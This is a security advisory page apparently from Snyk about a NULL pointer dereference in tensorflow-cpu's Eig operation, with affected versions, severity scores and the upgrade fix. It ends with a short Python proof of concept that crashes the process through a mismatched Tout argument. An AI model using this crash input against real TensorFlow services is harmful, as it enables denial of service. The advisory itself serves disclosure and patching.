NULL Pointer Dereference Affecting tensorflow-cpu package, versions [,2.7.2) [2.8.0,2.8.1) [2.9.0,2.9.1)


0.0
medium

Snyk CVSS

    Attack Complexity High
    Availability High

    Threat Intelligence

    EPSS 0.08% (33rd percentile)
Expand this section
NVD
7.5 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-TENSORFLOWCPU-3026801
  • published 18 Sep 2022
  • disclosed 16 Sep 2022
  • credit 刘力源

How to fix?

Upgrade tensorflow-cpu to version 2.7.2, 2.8.1, 2.9.1 or higher.

Overview

tensorflow-cpu is a machine learning framework.

Affected versions of this package are vulnerable to NULL Pointer Dereference when Eig can be fed an incorrect Tout input, resulting in a CHECK fail that can trigger a denial of service attack.

PoC

import tensorflow as tf
import numpy as np 
arg_0=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)
arg_1=tf.complex128
arg_2=True
arg_3=''
tf.raw_ops.Eig(input=arg_0, Tout=arg_1, compute_v=arg_2, name=arg_3)